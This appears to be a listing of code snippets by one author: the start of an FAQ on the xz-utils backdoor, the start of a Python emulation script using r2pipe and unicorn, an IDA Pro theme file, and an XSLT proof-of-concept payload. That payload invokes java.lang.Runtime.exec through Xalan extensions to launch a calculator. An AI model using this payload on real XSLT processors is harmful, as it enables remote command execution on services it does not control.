WinMin

FAQ on the xz-utils backdoor

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for

WinMin

import magic
import r2pipe
import hashlib
import argparse
import subprocess
from unicorn import *
from unicorn.x86_const import *
# from udbserver import *    # uncomment this line if you want to debug

def pad_size(size):

WinMin

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
	<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; -->
	<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; -->
	<!-- #114 Utf8: open -a calculator -->
	<!-- #115 String: touch /tmp/pwn -->
	<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
	<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
	<!-- #132 Utf8: <init> -->
	<AAA select="&lt;init&gt;"/>

WinMin

/* INSTALL: 
 *
 * Put this file under the respective directory.
 * Windows: %APPDATA%\Hex-Rays\IDA Pro\themes\monokai\theme.css
 * Linux & MacOS: ~/.idapro/themes/monokai/theme.css
 *
 * In Options -> Colors change theme to monokai
 *
 * */
@importtheme "dark";